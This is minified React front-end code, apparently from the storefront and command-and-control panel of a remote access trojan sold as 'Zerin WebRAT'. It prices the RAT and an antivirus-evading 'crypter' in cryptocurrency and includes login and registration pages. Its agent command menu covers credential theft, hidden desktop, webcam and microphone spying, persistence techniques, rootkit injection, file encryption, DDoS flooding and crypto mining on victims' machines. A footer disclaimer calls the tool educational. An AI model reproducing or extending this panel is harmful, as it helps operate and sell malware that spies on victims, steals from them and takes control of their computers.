(12 methods)","Hidden VNC & remote desktop","Encrypted C2 (ChaCha20 + X25519)","Credential auditing module","SOCKS5 reverse proxy / pivoting","In-memory execution","Screen capture & input monitoring","All future updates included"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5",children:s.jsx("button",{onClick:()=>c("rat"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden border border-zerin-accent text-zerin-accent font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:bg-zerin-accent/10 disabled:opacity-50 disabled:cursor-wait",children:s.jsx("span",{className:"relative z-10",children:r==="rat"?"Creating Invoice...":"Purchase with Crypto"})})})]})}),s.jsxs("div",{className:"group relative",children:[s.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 via-transparent to-zerin-accent/10 opacity-60 group-hover:opacity-100 transition-opacity duration-700 blur-sm"}),s.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 group-hover:border-zerin-accent/50 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Best Value"})]}),s.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),s.jsxs("div",{className:"px-6 pt-6 pb-4",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-accent/80 uppercase mb-2",children:"WebRAT + Crypter"}),s.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[s.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$150"}),s.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$300"})]}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsxs("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:[["Everything in WebRAT, plus:"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text font-semibold",children:u})]},u)),["PE Crypter — runtime packing engine","Polymorphic + metamorphic generation","Every build structurally unique","Indirect syscalls for EDR testing","Anti-analysis & environment checks","NTDLL restoration module","Security product bypass testing","Unique keys & code per build"].map(u=>s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),s.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))]}),s.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),s.jsx("div",{className:"px-6 py-5",children:s.jsxs("button",{onClick:()=>c("rat_crypter"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)] disabled:opacity-50 disabled:cursor-wait",children:[s.jsx("span",{className:"relative z-10",children:r==="rat_crypter"?"Creating Invoice...":"Purchase with Crypto"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover/btn:translate-x-full transition-transform duration-700"})]})})]})]})]}),s.jsxs("div",{className:"mt-8 text-center space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40 uppercase tracking-wider",children:"Accepted:"}),["BTC","ETH","LTC","XMR","USDT"].map(u=>s.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-text-muted/60 border border-[#1a1a22] px-1.5 py-0.5 hover:border-zerin-accent/20 hover:text-zerin-text-muted transition-colors duration-300",children:u},u))]}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/30 tracking-wider block",children:"Secure payment — License key delivered instantly after confirmation"})]})]})}),s.jsxs("section",{className:"relative z-10 py-32 px-6 text-center",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-5xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsx("p",{className:"text-zerin-text-muted text-[15px] mb-10 max-w-md mx-auto",children:"Join the red team operators who trust Zerin for advanced adversary simulation and penetration testing."}),s.jsxs(it,{to:"/register",className:"group relative inline-block overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-10 py-3.5 transition-all duration-300 hover:shadow-[0_0_40px_rgba(6,182,212,0.25)]",children:[s.jsx("span",{className:"relative z-10",children:"Get Started"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function Jj(){const e=p.useRef(null);return p.useEffect(()=>{const t=e.current;if(!t)return;const n=t.getContext("2d");let r,i=0;function a(){t.width=window.innerWidth,t.height=window.innerHeight}a(),window.addEventListener("resize",a);function o(){i+=.002,n.clearRect(0,0,t.width,t.height);const l=50,c=Math.ceil(t.width/l)+1,u=Math.ceil(t.height/l)+1;for(let d=0;d{cancelAnimationFrame(r),window.removeEventListener("resize",a)}},[]),s.jsxs(s.Fragment,{children:[s.jsx("canvas",{ref:e,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}}),s.jsx("div",{className:"fixed inset-0 pointer-events-none",style:{zIndex:1,background:"radial-gradient(ellipse at center, transparent 30%, rgba(4,4,10,0.7) 100%)"}})]})}const Ag="zerin.pro",e5="zerpanel-67ontoplol.top";function ax(){return window.location.hostname===Ag||window.location.hostname===`www.${Ag}`}function CA(){const e=Qn(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(!1);async function u(d){d.preventDefault(),o(""),c(!0);try{if(await mE({username:t,password:r}),ax()){const f=Ze();if(f){window.location.href=`https://${e5}/auth#token=${encodeURIComponent(f)}`;return}}e("/dashboard")}catch(f){f instanceof Jr?o(f.status===401?f.message||"Invalid credentials":`Server error: ${f.message}`):o("Connection failed. Is the server running?")}finally{c(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(Jj,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Command & Control"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:u,className:"relative space-y-5",children:[a&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:a})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:d=>n(d.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Enter username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:d=>i(d.target.value),required:!0,autoComplete:"current-password",className:"auth-input",placeholder:"Enter password"})})]}),s.jsx("div",{className:"auth-stagger-5 pt-1",children:s.jsx("button",{type:"submit",disabled:l,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[l&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),l?"Authenticating...":"Sign In"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-6",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Don't have an account?"," ",s.jsx(it,{to:"/register",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Register"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function PA(){const e=Qn(),[t,n]=p.useState(""),[r,i]=p.useState(""),[a,o]=p.useState(""),[l,c]=p.useState(""),[u,d]=p.useState(""),[f,m]=p.useState(!1);async function h(x){if(x.preventDefault(),d(""),!/^[a-zA-Z0-9]{3,32}$/.test(t)){d("Username must be 3-32 characters, alphanumeric only");return}if(r!==a){d("Passwords do not match");return}if(r.length<12){d("Password must be at least 12 characters");return}m(!0);try{if(await hE({username:t,password:r,license_key:l}),ax()){const g=Ze();if(g){window.location.href=`https://${e5}/auth#token=${encodeURIComponent(g)}`;return}}e("/dashboard")}catch(g){if(g instanceof Jr)try{const y=JSON.parse(g.message);d(y.error||g.message)}catch{d(g.message)}else d("Connection failed. Is the server running?")}finally{m(!1)}}return s.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[s.jsx(Jj,{}),s.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[s.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[s.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[s.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),s.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),s.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Create Account"})]}),s.jsxs("div",{className:"auth-card auth-stagger-2",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"auth-scanline"}),s.jsxs("form",{onSubmit:h,className:"relative space-y-5",children:[u&&s.jsxs("div",{className:"auth-error",children:[s.jsx("div",{className:"auth-error-bar"}),s.jsx("span",{children:u})]}),s.jsxs("div",{className:"auth-stagger-3",children:[s.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"username",type:"text",value:t,onChange:x=>n(x.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Choose a username"})})]}),s.jsxs("div",{className:"auth-stagger-4",children:[s.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"password",type:"password",value:r,onChange:x=>i(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Min 12 characters"})})]}),s.jsxs("div",{className:"auth-stagger-5",children:[s.jsx("label",{htmlFor:"confirmPassword",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Confirm Password"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"confirmPassword",type:"password",value:a,onChange:x=>o(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Repeat password"})})]}),s.jsxs("div",{className:"auth-stagger-6",children:[s.jsx("label",{htmlFor:"licenseKey",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"License Key"}),s.jsx("div",{className:"auth-input-wrap",children:s.jsx("input",{id:"licenseKey",type:"text",value:l,onChange:x=>{const g=x.target.value;g.toLowerCase().startsWith("zer-")?c("zer-"+g.slice(4).toUpperCase()):c(g.toUpperCase())},required:!0,autoComplete:"off",spellCheck:!1,className:"auth-input font-mono",placeholder:"zer-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"})})]}),s.jsx("div",{className:"auth-stagger-7 pt-1",children:s.jsx("button",{type:"submit",disabled:f,className:"auth-submit",children:s.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[f&&s.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),f?"Creating Account...":"Register"]})})})]})]}),s.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-8",children:[s.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Already have an account?"," ",s.jsx(it,{to:"/login",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Sign In"})]}),s.jsxs("div",{className:"flex items-center justify-center gap-2",children:[s.jsx("span",{className:"auth-status-dot"}),s.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function Ac(e){const t=Date.now(),n=new Date(e).getTime(),r=t-n;if(r<0)return"just now";const i=Math.floor(r/1e3),a=Math.floor(i/60),o=Math.floor(a/60),l=Math.floor(o/24);return i<5?"just now":i<60?`${i}s ago`:a<60?`${a}m ago`:o<24?`${o}h ago`:l<30?`${l}d ago`:new Date(e).toLocaleDateString()}function cm(e,t=1){if(e<=0)return"0 B";const n=1024,r=["B","KB","MB","GB","TB"],i=Math.floor(Math.log(e)/Math.log(n));return`${parseFloat((e/Math.pow(n,i)).toFixed(t))} ${r[i]}`}function EA(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function uo(e){return new Date(e).toLocaleString("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function fo(e){const t=e.toLowerCase();return t.includes("windows")?"Windows":t.includes("linux")?"Linux":t.includes("darwin")||t.includes("macos")?"macOS":e}function Os(e){return e.slice(0,8)}function t5(e,t){if(e<60)return`${e}s / ${t}%`;const n=Math.floor(e/60),r=e%60;return r===0?`${n}m / ${t}%`:`${n}m ${r}s / ${t}%`}function AA(e){return`data:image/bmp;base64,${e}`}function _A(e){return e.startsWith("Qk")}const jn="w-3.5 h-3.5 flex-shrink-0",Ht={eye:s.jsxs("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"})]}),info:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),terminal:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"})}),folder:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"})}),pin:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 5a2 2 0 012-2h10a2 2 0 012 2v16l-7-3.5L5 21V5z"})}),key:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"})}),shield:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})}),sparkles:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3v4M3 5h4M6 17v4m-2-2h4m5-16l2.286 6.857L21 12l-5.714 2.143L13 21l-2.286-6.857L5 12l5.714-2.143L13 3z"})}),bolt:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),power:s.jsx("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M18.364 5.636a9 9 0 010 12.728M5.636 5.636a9 9 0 000 12.728M12 2v4"})}),cog:s.jsxs("svg",{className:jn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.066 2.573c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.573 1.066c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.066-2.573c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]}),externalLink:s.jsx("svg",{className:"w-3 h-3 flex-shrink-0 opacity-40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"})}),search:s.jsx("svg",{className:"w-3.5 h-3.5 text-[#3a3a44]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})})},OA=new Set(["vnc","hvnc","webcam","mic","socks5","chat"]),TA=new Set(["remove","exit","uninstall","shutdown"]),MA=new Set(["ban"]),Mf=[{label:"Monitoring",icon:Ht.eye,group:1,commands:[{key:"ps",label:"Process List",nav:{tab:"processes"}},{key:"windows",label:"Window List",nav:{tab:"windows"}},{key:"screenshot",label:"Screenshot",nav:{tab:"screenshots",action:"screenshot"}},{key:"vnc",label:"Remote Desktop",nav:{action:"vnc"}},{key:"hvnc",label:"Hidden Desktop",nav:{action:"hvnc"}},{key:"webcam",label:"Webcam",nav:{action:"webcam"}},{key:"mic",label:"Microphone",nav:{action:"mic"}},{key:"socks5",label:"Reverse Proxy",nav:{action:"socks5"}},{key:"netstat",label:"Network Connections",nav:{tab:"overview",action:"submit"}},{key:"ifconfig",label:"Network Interfaces",nav:{tab:"overview",action:"submit"}}]},{label:"Information",icon:Ht.info,group:1,commands:[{key:"whoami",label:"Whoami",nav:{tab:"overview",action:"submit"}},{key:"sysinfo",label:"System Info",nav:{tab:"overview",action:"submit"}},{key:"specs",label:"System Specs",nav:{tab:"system"}},{key:"installed_apps",label:"Installed Apps",nav:{tab:"apps"}},{key:"env",label:"Environment Variables",nav:{tab:"overview",action:"submit"}},{key:"creds",label:"Grab Credentials",nav:{tab:"credentials",action:"submit"}}]},{label:"Execution",icon:Ht.terminal,group:2,commands:[{key:"shell",label:"Command Shell",nav:{tab:"overview"}},{key:"powershell",label:"PowerShell",nav:{tab:"overview"}},{key:"execute",label:"Execute File",nav:{action:"execute_upload"}}]},{label:"File Manager",icon:Ht.folder,group:2,commands:[{key:"ls",label:"Browse Files",nav:{tab:"files"}},{key:"upload",label:"Upload File",nav:{tab:"files"}},{key:"download",label:"Download File",nav:{tab:"files"}},{key:"encrypt",label:"Encrypt File",nav:{tab:"overview",action:"submit"}},{key:"decrypt",label:"Decrypt File",nav:{tab:"overview",action:"submit"}}]},{label:"Persistence",icon:Ht.pin,group:3,commands:[{key:"persist_runkey",label:"Run Key",nav:{tab:"overview",action:"submit"}},{key:"persist_schtask",label:"Scheduled Task",nav:{tab:"overview",action:"submit"}},{key:"persist_service",label:"Service",nav:{tab:"overview",action:"submit"}},{key:"persist_startup",label:"Startup Folder",nav:{tab:"overview",action:"submit"}},{key:"persist_logonscript",label:"Logon Script",nav:{tab:"overview",action:"submit"}},{key:"persist_screensaver",label:"Screensaver",nav:{tab:"overview",action:"submit"}},{key:"persist_ifeo",label:"IFEO Debugger",nav:{tab:"overview",action:"submit"}},{key:"persist_bits",label:"BITS Job",nav:{tab:"overview",action:"submit"}},{key:"persist_com",label:"COM Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_dllhijack",label:"DLL Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_wmi",label:"WMI Event Sub",nav:{tab:"overview",action:"submit"}},{key:"persist_portmon",label:"Port Monitor",nav:{tab:"overview",action:"submit"}},{key:"persist_ssp",label:"SSP (LSA)",nav:{tab:"overview",action:"submit"}}]},{label:"Registry",icon:Ht.key,group:3,commands:[{key:"reg_read",label:"Read Key",nav:{tab:"overview",action:"submit"}},{key:"reg_write",label:"Write Key",nav:{tab:"overview",action:"submit"}}]},{label:"Rootkit",icon:Ht.shield,group:3,commands:[{key:"rootkit_status",label:"Rootkit Status",nav:{tab:"overview",action:"submit"}},{key:"rootkit_inject",label:"Inject into PID",nav:{tab:"overview",action:"submit"}}]},{label:"Extra",icon:Ht.sparkles,group:4,commands:[{key:"troll_panel",label:"Troll Panel",nav:{tab:"troll"}},{key:"troll_msgbox",label:"Message Box",nav:{tab:"troll"}},{key:"troll_tts",label:"Text to Speech",nav:{tab:"troll"}},{key:"troll_website",label:"Open Website",nav:{tab:"troll"}},{key:"troll_wallpaper",label:"Change Wallpaper",nav:{tab:"troll"}},{key:"troll_taskbar",label:"Toggle Taskbar",nav:{tab:"troll"}},{key:"troll_cd_tray",label:"Open CD Tray",nav:{tab:"troll"}},{key:"chat",label:"Live Chat",nav:{action:"chat"}}]},{label:"Network Attack",icon:Ht.bolt,group:4,commands:[{key:"ddos_start",label:"HTTP Flood",nav:{tab:"ddos"}},{key:"miner_start",label:"Crypto Miner",nav:{tab:"miner"}}]},{label:"PC Options",icon:Ht.power,group:5,commands:[{key:"restart",label:"Restart PC",nav:{action:"confirm"}},{key:"shutdown",label:"Shutdown PC",nav:{action:"confirm"}}]},{label:"Bot Options",icon:Ht.cog,group:5,commands:[{key:"sleep",label:"Change Sleep",nav:{tab:"overview"}},{key:"exit",label:"Exit Agent",nav:{action:"confirm"}},{key:"uninstall",label:"Uninstall Agent",nav:{action:"confirm"}},{key:"ban",label:"Ban Agent",nav:{action:"ban"}},{key:"remove",label:"Remove from List",nav:{action:"remove"}}]}],LA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},IA={alive:"ONLINE",stale:"STALE",dead:"OFFLINE"},DA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zerin-danger"},RA=({x:e,y:t,visible:n,onAction:r,onClose:i,agentStatus:a="alive",agentName:o})=>{const 